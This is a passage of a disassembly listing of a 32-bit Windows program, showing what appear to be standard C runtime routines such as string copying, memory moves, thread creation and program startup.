sub_40FD7C+1Ej test byte ptr [esi+0Ch], 40h jz short loc_40FDCB mov [esi+0Ch], edi loc_40FDC2: ; CODE XREF: sub_40FD7C+6Fj mov eax, [ebp+var_1C] loc_40FDC5: ; CODE XREF: sub_40FD7C+3Bj call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_40FDCB: ; CODE XREF: sub_40FD7C+41j push esi call sub_413B59 pop ecx mov [ebp+ms_exc.disabled], edi push esi call sub_40FD09 pop ecx mov [ebp+var_1C], eax mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40FDF0 jmp short loc_40FDC2 sub_40FD7C endp ; =============== S U B R O U T I N E ======================================= sub_40FDED proc near ; DATA XREF: .vty:0041F8F8o mov esi, [ebp+8] sub_40FDED endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40FDF0 proc near ; CODE XREF: sub_40FD7C+6Ap push esi call sub_413BAB pop ecx retn sub_40FDF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FDF8 proc near ; CODE XREF: sub_40376E+CDp ; sub_40376E+13Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push eax call dword_41C118 ; GetSystemTimeAsFileTime mov eax, [ebp+var_8] mov ecx, [ebp+var_4] push 0 add eax, 2AC18000h push 989680h adc ecx, 0FE624E21h push ecx push eax call sub_414E00 mov ecx, [ebp+arg_0] test ecx, ecx jz short locret_40FE32 mov [ecx], eax mov [ecx+4], edx locret_40FE32: ; CODE XREF: sub_40FDF8+33j leave retn sub_40FDF8 endp ; --------------------------------------------------------------------------- align 10h push edi mov edi, [esp+8] jmp short loc_40FEB5 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40FE50 proc near ; CODE XREF: sub_40460B+4Ep ; sub_4047AC+32p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_40FE70 loc_40FE5D: ; CODE XREF: sub_40FE50+1Cj mov al, [ecx] add ecx, 1 test al, al jz short loc_40FEA3 test ecx, 3 jnz short loc_40FE5D mov edi, edi loc_40FE70: ; CODE XREF: sub_40FE50+Bj ; sub_40FE50+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_40FE70 mov eax, [ecx-4] test al, al jz short loc_40FEB2 test ah, ah jz short loc_40FEAD test eax, 0FF0000h jz short loc_40FEA8 test eax, 0FF000000h jz short loc_40FEA3 jmp short loc_40FE70 ; --------------------------------------------------------------------------- loc_40FEA3: ; CODE XREF: sub_40FE50+14j ; sub_40FE50+4Fj lea edi, [ecx-1] jmp short loc_40FEB5 ; --------------------------------------------------------------------------- loc_40FEA8: ; CODE XREF: sub_40FE50+48j lea edi, [ecx-2] jmp short loc_40FEB5 ; --------------------------------------------------------------------------- loc_40FEAD: ; CODE XREF: sub_40FE50+41j lea edi, [ecx-3] jmp short loc_40FEB5 ; --------------------------------------------------------------------------- loc_40FEB2: ; CODE XREF: sub_40FE50+3Dj lea edi, [ecx-4] loc_40FEB5: ; CODE XREF: .vty:0040FE45j ; sub_40FE50+56j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_40FEDE loc_40FEC1: ; CODE XREF: sub_40FE50+85j mov dl, [ecx] add ecx, 1 test dl, dl jz short loc_40FF30 mov [edi], dl add edi, 1 test ecx, 3 jnz short loc_40FEC1 jmp short loc_40FEDE ; --------------------------------------------------------------------------- loc_40FED9: ; CODE XREF: sub_40FE50+A6j ; sub_40FE50+C0j mov [edi], edx add edi, 4 loc_40FEDE: ; CODE XREF: sub_40FE50+6Fj ; sub_40FE50+87j mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_40FED9 test dl, dl jz short loc_40FF30 test dh, dh jz short loc_40FF27 test edx, 0FF0000h jz short loc_40FF1A test edx, 0FF000000h jz short loc_40FF12 jmp short loc_40FED9 ; --------------------------------------------------------------------------- loc_40FF12: ; CODE XREF: sub_40FE50+BEj mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40FF1A: ; CODE XREF: sub_40FE50+B6j mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_40FF27: ; CODE XREF: sub_40FE50+AEj mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_40FF30: ; CODE XREF: sub_40FE50+78j ; sub_40FE50+AAj mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_40FE50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FF38 proc near ; CODE XREF: sub_40FF87+21p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40F7E2 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_40FF68 lea eax, [ebp+var_10] push eax push 8 push [ebp+arg_0] call sub_4139CC add esp, 0Ch jmp short loc_40FF78 ; --------------------------------------------------------------------------- loc_40FF68: ; CODE XREF: sub_40FF38+1Bj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, byte ptr [eax+ecx*2] and eax, 8 loc_40FF78: ; CODE XREF: sub_40FF38+2Ej cmp [ebp+var_4], 0 jz short locret_40FF85 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_40FF85: ; CODE XREF: sub_40FF38+44j leave retn sub_40FF38 endp ; =============== S U B R O U T I N E ======================================= sub_40FF87 proc near ; CODE XREF: sub_4081BF+F8p arg_0 = dword ptr 4 cmp dword_424424, 0 jnz short loc_40FFA2 mov eax, [esp+arg_0] mov ecx, off_423880 movzx eax, byte ptr [ecx+eax*2] and eax, 8 retn ; --------------------------------------------------------------------------- loc_40FFA2: ; CODE XREF: sub_40FF87+7j push 0 push [esp+4+arg_0] call sub_40FF38 pop ecx pop ecx retn sub_40FF87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFB0 proc near ; CODE XREF: sub_410004+23p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push [ebp+arg_4] lea ecx, [ebp+var_10] call sub_40F7E2 mov eax, [ebp+var_10] cmp dword ptr [eax+0ACh], 1 jle short loc_40FFE3 lea eax, [ebp+var_10] push eax push 107h push [ebp+arg_0] call sub_4139CC add esp, 0Ch jmp short loc_40FFF5 ; --------------------------------------------------------------------------- loc_40FFE3: ; CODE XREF: sub_40FFB0+1Bj mov eax, [eax+0C8h] mov ecx, [ebp+arg_0] movzx eax, word ptr [eax+ecx*2] and eax, 107h loc_40FFF5: ; CODE XREF: sub_40FFB0+31j cmp [ebp+var_4], 0 jz short locret_410002 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_410002: ; CODE XREF: sub_40FFB0+49j leave retn sub_40FFB0 endp ; =============== S U B R O U T I N E ======================================= sub_410004 proc near ; CODE XREF: sub_4081BF+AFp ; sub_4089E6+B3p arg_0 = dword ptr 4 cmp dword_424424, 0 jnz short loc_410021 mov eax, [esp+arg_0] mov ecx, off_423880 movzx eax, word ptr [ecx+eax*2] and eax, 107h retn ; --------------------------------------------------------------------------- loc_410021: ; CODE XREF: sub_410004+7j push 0 push [esp+4+arg_0] call sub_40FFB0 pop ecx pop ecx retn sub_410004 endp ; =============== S U B R O U T I N E ======================================= sub_41002F proc near ; CODE XREF: sub_410040j ; sub_418A60+35p arg_0 = dword ptr 4 push 0Ah push 0 push [esp+8+arg_0] call sub_415093 add esp, 0Ch retn sub_41002F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_410040 proc near ; CODE XREF: sub_408E4C+78p ; sub_408E4C+A3p ... jmp sub_41002F sub_410040 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410050 proc near ; CODE XREF: sub_405089+B6p ; sub_40B642+C4p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_410070 cmp edi, eax jb loc_410214 loc_410070: ; CODE XREF: sub_410050+16j cmp ecx, 100h jb short loc_410097 cmp dword_426008, 0 jz short loc_410097 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_410097 pop esi pop edi pop ebp jmp sub_415143 ; --------------------------------------------------------------------------- loc_410097: ; CODE XREF: sub_410050+26j ; sub_410050+2Fj ... test edi, 3 jnz short loc_4100B4 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4100D4 rep movsd jmp off_4101C4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_4100B4: ; CODE XREF: sub_410050+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4100CC and eax, 3 add ecx, eax jmp dword ptr loc_4100D4+4[eax*4] ; --------------------------------------------------------------------------- loc_4100CC: ; CODE XREF: sub_410050+6Ej jmp dword ptr loc_4101D4[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4100D4: ; CODE XREF: sub_410050+58j ; sub_410050+B6j ... jmp off_410158[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4100E8 ; --------------------------------------------------------------------------- adc al, 1 inc ecx add [eax], bh add [ecx+0], eax loc_4100E8: ; DATA XREF: sub_410050+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4100D4 rep movsd jmp off_4101C4[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4100D4 rep movsd jmp off_4101C4[edx*4] ; --------------------------------------------------------------------------- align 4 and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_4100D4 rep movsd jmp off_4101C4[edx*4] ; --------------------------------------------------------------------------- align 4 off_410158 dd offset loc_4101BB ; DATA XREF: sub_410050:loc_4100D4r dd offset loc_4101A8 dd offset loc_4101A0 dd offset loc_410198 dd offset loc_410190 dd offset loc_410188 dd offset loc_410180 dd offset loc_410178 ; --------------------------------------------------------------------------- loc_410178: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_410180: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_410188: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_410190: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_410198: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4101A0: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4101A8: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4101BB: ; CODE XREF: sub_410050:loc_4100D4j ; DATA XREF: sub_410050:off_410158o jmp off_4101C4[edx*4] ; --------------------------------------------------------------------------- align 4 off_4101C4 dd offset loc_4101D4 ; DATA XREF: sub_410050+5Cr ; sub_410050+BAr ... dd offset loc_4101DC dd offset loc_4101E8 dd offset loc_4101FC ; --------------------------------------------------------------------------- loc_4101D4: ; CODE XREF: sub_410050+5Cj ; sub_410050+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4101DC: ; CODE XREF: sub_410050+5Cj ; sub_410050+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4101E8: ; CODE XREF: sub_410050+5Cj ; sub_410050+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4101FC: ; CODE XREF: sub_410050+5Cj ; sub_410050+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410214: ; CODE XREF: sub_410050+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_410248 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41023C std rep movsd cld jmp off_410360[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41023C: ; CODE XREF: sub_410050+1DDj ; sub_410050+238j ... neg ecx jmp off_410310[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_410248: ; CODE XREF: sub_410050+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_410260 and eax, 3 sub ecx, eax jmp dword ptr loc_410260+4[eax*4] ; --------------------------------------------------------------------------- loc_410260: ; CODE XREF: sub_410050+202j ; DATA XREF: sub_410050+209r jmp off_410360[ecx*4] ; --------------------------------------------------------------------------- align 4 jz short near ptr loc_41026B+1 inc ecx loc_41026B: ; CODE XREF: sub_410050+218j add [eax-3FFFBEFEh], bl add al, [ecx+0] mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_41023C std rep movsd cld jmp off_410360[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_41023C std rep movsd cld jmp off_410360[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_41023C std rep movsd cld jmp off_410360[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_410314 dd offset loc_41031C dd offset loc_410324 dd offset loc_41032C dd offset loc_410334 dd offset loc_41033C dd offset loc_410344 off_410310 dd offset loc_410357 ; DATA XREF: sub_410050+1EEr ; --------------------------------------------------------------------------- loc_410314: ; DATA XREF: sub_410050+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41031C: ; DATA XREF: sub_410050+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_410324: ; DATA XREF: sub_410050+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41032C: ; DATA XREF: sub_410050+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_410334: ; DATA XREF: sub_410050+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41033C: ; DATA XREF: sub_410050+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_410344: ; DATA XREF: sub_410050+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_410357: ; CODE XREF: sub_410050+1EEj ; DATA XREF: sub_410050:off_410310o jmp off_410360[edx*4] ; --------------------------------------------------------------------------- align 10h off_410360 dd offset loc_410370 ; DATA XREF: sub_410050+1E3r ; sub_410050:loc_410260r ... dd offset loc_410378 dd offset loc_410388 dd offset loc_41039C ; --------------------------------------------------------------------------- loc_410370: ; CODE XREF: sub_410050+1E3j ; sub_410050:loc_410260j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410378: ; CODE XREF: sub_410050+1E3j ; sub_410050:loc_410260j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_410388: ; CODE XREF: sub_410050+1E3j ; sub_410050:loc_410260j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41039C: ; CODE XREF: sub_410050+1E3j ; sub_410050:loc_410260j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_410050 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4103B5 proc near ; CODE XREF: sub_40BB2D+136p ; sub_40BB2D+232p ... jmp sub_40DD8A sub_4103B5 endp ; =============== S U B R O U T I N E ======================================= sub_4103BA proc near ; CODE XREF: sub_40D2A0+78p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short locret_4103C4 neg eax locret_4103C4: ; CODE XREF: sub_4103BA+6j retn sub_4103BA endp ; =============== S U B R O U T I N E ======================================= sub_4103C5 proc near ; CODE XREF: sub_4103C5+55p arg_0 = dword ptr 4 cmp dword_42602C, 0 jz short loc_4103E3 push offset dword_42602C call sub_4152A2 test eax, eax pop ecx jz short loc_4103E3 call dword_42602C loc_4103E3: ; CODE XREF: sub_4103C5+7j ; sub_4103C5+16j call sub_411F7A test eax, eax jz short loc_4103F3 push eax call sub_412136 pop ecx loc_4103F3: ; CODE XREF: sub_4103C5+25j push [esp+arg_0] call dword_41C11C ; ExitThread int 3 ; Trap to Debugger loc_4103FE: ; CODE XREF: .vty:loc_4104B9p push 0Ch push offset dword_41F900 call __SEH_prolog4 call sub_411FFD and dword ptr [ebp-4], 0 push dword ptr [eax+58h] call dword ptr [eax+54h] push eax call sub_4103C5 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-1Ch], ecx push eax push ecx call sub_41530F pop ecx pop ecx retn sub_4103C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-1Ch] call sub_412726 int 3 ; Trap to Debugger loc_41043F: ; DATA XREF: sub_4104BF+74o push esi call sub_411E46 call sub_411E40 push eax call sub_411E2B test eax, eax jnz short loc_41047F mov esi, [esp+8] push esi call sub_411E40 push eax call sub_411E70 test eax, eax jnz short loc_410475 call dword_41C0A4 ; RtlGetLastWin32Error push eax call dword_41C11C ; ExitThread loc_410475: ; CODE XREF: .vty:00410466j call dword_41C120 ; GetCurrentThreadId mov [esi], eax jmp short loc_41049B ; --------------------------------------------------------------------------- loc_41047F: ; CODE XREF: .vty:00410452j mov ecx, [esp+8] mov edx, [ecx+54h] mov [eax+54h], edx mov edx, [ecx+58h] mov [eax+58h], edx mov edx, [ecx+4] push ecx mov [eax+4], edx call sub_412015 loc_41049B: ; CODE XREF: .vty:0041047Dj cmp dword_426030, 0 jz short loc_4104B9 push offset dword_426030 call sub_4152A2 test eax, eax pop ecx jz short loc_4104B9 call dword_426030 loc_4104B9: ; CODE XREF: .vty:004104A2j ; .vty:004104B1j call loc_4103FE int 3 ; Trap to Debugger ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104BF proc near ; CODE XREF: sub_4033DA+CCp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ebx push edi mov edi, [ebp+arg_8] xor ebx, ebx cmp edi, ebx mov [ebp+var_4], ebx jnz short loc_4104ED call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h xor eax, eax jmp short loc_410569 ; --------------------------------------------------------------------------- loc_4104ED: ; CODE XREF: sub_4104BF+10j push esi call sub_411E46 push 214h push 1 call sub_412363 mov esi, eax cmp esi, ebx pop ecx pop ecx jz short loc_410551 call sub_411FFD push dword ptr [eax+6Ch] push esi call sub_411EC6 mov eax, [ebp+arg_C] or dword ptr [esi+4], 0FFFFFFFFh mov [esi+58h], eax mov eax, [ebp+arg_14] cmp eax, ebx pop ecx pop ecx mov [esi+54h], edi jnz short loc_41052E lea eax, [ebp+arg_8] loc_41052E: ; CODE XREF: sub_4104BF+6Aj push eax push [ebp+arg_10] push esi push offset loc_41043F push [ebp+arg_4] push [ebp+arg_0] call dword_41C124 ; CreateThread cmp eax, ebx jnz short loc_410568 call dword_41C0A4 ; RtlGetLastWin32Error mov [ebp+var_4], eax loc_410551: ; CODE XREF: sub_4104BF+46j push esi call sub_41112C cmp [ebp+var_4], ebx pop ecx jz short loc_410566 push [ebp+var_4] call sub_40F7C4 pop ecx loc_410566: ; CODE XREF: sub_4104BF+9Cj xor eax, eax loc_410568: ; CODE XREF: sub_4104BF+87j pop esi loc_410569: ; CODE XREF: sub_4104BF+2Cj pop edi pop ebx leave retn sub_4104BF endp ; =============== S U B R O U T I N E ======================================= sub_41056D proc near ; CODE XREF: sub_4107B2-1A0p ; sub_4107B2-103p ... arg_0 = dword ptr 4 cmp dword_42439C, 1 jnz short loc_41057B call sub_4143CC loc_41057B: ; CODE XREF: sub_41056D+7j push [esp+arg_0] call sub_41422C push 0FFh call sub_4124E3 pop ecx pop ecx retn sub_41056D endp ; =============== S U B R O U T I N E ======================================= sub_410591 proc near ; CODE XREF: sub_4107B2-11Bp cmp word ptr ds:400000h, 5A4Dh jnz short loc_4105CF mov eax, ds:40003Ch cmp dword ptr [eax+400000h], 4550h jnz short loc_4105CF cmp word ptr [eax+400018h], 10Bh jnz short loc_4105CF cmp dword ptr [eax+400074h], 0Eh jbe short loc_4105CF xor ecx, ecx cmp [eax+4000E8h], ecx setnz cl mov eax, ecx retn ; --------------------------------------------------------------------------- loc_4105CF: ; CODE XREF: sub_410591+9j ; sub_410591+1Aj ... xor eax, eax retn sub_410591 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4107B2 loc_4105D2: ; CODE XREF: sub_4107B2+5j push 60h push offset dword_41F920 call __SEH_prolog4 and dword ptr [ebp-4], 0 lea eax, [ebp-70h] push eax call dword_41C0A0 ; GetStartupInfoA mov dword ptr [ebp-4], 0FFFFFFFEh mov edi, 94h push edi push 0 mov ebx, dword_41C134 call ebx ; GetProcessHeap push eax call dword_41C130 ; RtlAllocateHeap mov esi, eax test esi, esi jnz short loc_41061D push 12h call sub_41056D pop ecx jmp loc_4107A7 ; --------------------------------------------------------------------------- loc_41061D: ; CODE XREF: sub_4107B2-1A4j mov [esi], edi push esi call dword_41C0D0 ; GetVersionExA push esi push 0 test eax, eax jnz short loc_41063B call ebx ; GetProcessHeap push eax call dword_41C12C ; RtlFreeHeap jmp loc_4107A7 ; --------------------------------------------------------------------------- loc_41063B: ; CODE XREF: sub_4107B2-187j mov eax, [esi+10h] mov [ebp-20h], eax mov eax, [esi+4] mov [ebp-24h], eax mov eax, [esi+8] mov [ebp-28h], eax mov edi, [esi+0Ch] and edi, 7FFFh call ebx ; GetProcessHeap push eax call dword_41C12C ; RtlFreeHeap mov esi, [ebp-20h] cmp esi, 2 jz short loc_41066D or edi, 8000h loc_41066D: ; CODE XREF: sub_4107B2-14Dj mov ecx, [ebp-24h] mov eax, ecx shl eax, 8 mov edx, [ebp-28h] add eax, edx mov dword_4243B8, esi mov dword_4243C0, eax mov dword_4243C4, ecx mov dword_4243C8, edx mov dword_4243BC, edi call sub_410591 mov [ebp-20h], eax xor ebx, ebx inc ebx push ebx call sub_415C1F pop ecx test eax, eax jnz short loc_4106B5 push 1Ch call sub_41056D pop ecx loc_4106B5: ; CODE XREF: sub_4107B2-107j call sub_41219F test eax, eax jnz short loc_4106C6 push 10h call sub_41056D pop ecx loc_4106C6: ; CODE XREF: sub_4107B2-F6j call sub_415B7C mov [ebp-4], ebx call sub_41593C test eax, eax jge short loc_4106DF push 1Bh call sub_412499 pop ecx loc_4106DF: ; CODE XREF: sub_4107B2-DDj call dword_41C128 ; GetCommandLineA mov dword_426028, eax call sub_415807 mov dword_424394, eax call sub_41574E test eax, eax jge short loc_410705 push 8 call sub_412499 pop ecx loc_410705: ; CODE XREF: sub_4107B2-B7j call sub_4154DB test eax, eax jge short loc_410716 push 9 call sub_412499 pop ecx loc_410716: ; CODE XREF: sub_4107B2-A6j push ebx call sub_4125B5 pop ecx test eax, eax jz short loc_410728 push eax call sub_412499 pop ecx loc_410728: ; CODE XREF: sub_4107B2-93j call sub_41547E test [ebp-44h], bl jz short loc_410738 movzx ecx, word ptr [ebp-40h] jmp short loc_41073B ; --------------------------------------------------------------------------- loc_410738: ; CODE XREF: sub_4107B2-82j push 0Ah pop ecx loc_41073B: ; CODE XREF: sub_4107B2-7Cj push ecx push eax push 0 push 400000h call sub_408170 mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_410758 push eax call sub_412715 loc_410758: ; CODE XREF: sub_4107B2-62j call sub_412737 jmp short loc_41078D ; END OF FUNCTION CHUNK FOR sub_4107B2 ; --------------------------------------------------------------------------- mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-2Ch], ecx push eax push ecx call sub_41530F pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov eax, [ebp-2Ch] mov [ebp-1Ch], eax cmp dword ptr [ebp-20h], 0 jnz short loc_410788 push eax call sub_412726 loc_410788: ; CODE XREF: .vty:00410780j call sub_412746 ; START OF FUNCTION CHUNK FOR sub_4107B2 loc_41078D: ; CODE XREF: sub_4107B2-55j mov dword ptr [ebp-4], 0FFFFFFFEh mov eax, [ebp-1Ch] jmp short loc_4107AC ; END OF FUNCTION CHUNK FOR sub_4107B2 ; --------------------------------------------------------------------------- xor eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] mov dword ptr [ebp-4], 0FFFFFFFEh ; START OF FUNCTION CHUNK FOR sub_4107B2 loc_4107A7: ; CODE XREF: sub_4107B2-19Aj ; sub_4107B2-17Cj mov eax, 0FFh loc_4107AC: ; CODE XREF: sub_4107B2-1Bj call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_4107B2 ; =============== S U B R O U T I N E ======================================= sub_4107B2 proc near ; CODE XREF: sub_437085j ; FUNCTION CHUNK AT 004105D2 SIZE 0000018D BYTES ; FUNCTION CHUNK AT 0041078D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004107A7 SIZE 0000000B BYTES call sub_415C79 jmp loc_4105D2 sub_4107B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107BC proc near ; CODE XREF: sub_4016BB+Fp ; sub_401806+44p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41C350 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] test eax, eax pop edi mov [ebp+var_4], eax pop esi jz short loc_4107EF test byte ptr [eax], 8 jz short loc_4107EF mov [ebp+var_C], 1994000h loc_4107EF: ; CODE XREF: sub_4107BC+25j ; sub_4107BC+2Aj lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call dword_41C138 ; RaiseException leave retn 8 sub_4107BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410806 proc near ; CODE XREF: sub_416498+65p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ebp, [ebp+var_4] mov esp, [ebx-4] jmp eax sub_410806 endp ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_410836 proc near ; CODE XREF: sub_415FB1+31p ; sub_416407+59p ... arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_410836 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41083D proc near ; CODE XREF: sub_4109CA+69p ; sub_416498:loc_4164C0p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 